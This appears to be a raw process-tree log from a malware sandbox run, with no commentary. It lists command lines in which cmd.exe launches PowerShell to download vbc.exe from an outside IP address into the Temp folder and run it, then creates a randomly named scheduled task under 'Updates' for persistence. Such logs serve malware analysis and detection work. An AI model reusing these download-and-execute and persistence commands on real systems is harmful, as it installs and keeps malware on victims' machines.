cmd.exe "C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://198.23.251.109/kswb/vbc.exe', '%Temp%\\vbc.exe') & powershell Start-Process -FilePath '%Temp%\\vbc.exe' & exit
2084powershell.exe powershell (New-Object System.Net.WebClient).DownloadFile('http://198.23.251.109/kswb/vbc.exe', 'C:\Users\test22\AppData\Local\Temp\\vbc.exe')
2044powershell.exe powershell Start-Process -FilePath 'C:\Users\test22\AppData\Local\Temp\\vbc.exe'
2952schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrydnNPJDpA" /XML "C:\Users\test22\AppData\Local\Temp\tmpF929.tmp"
1120vbc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
412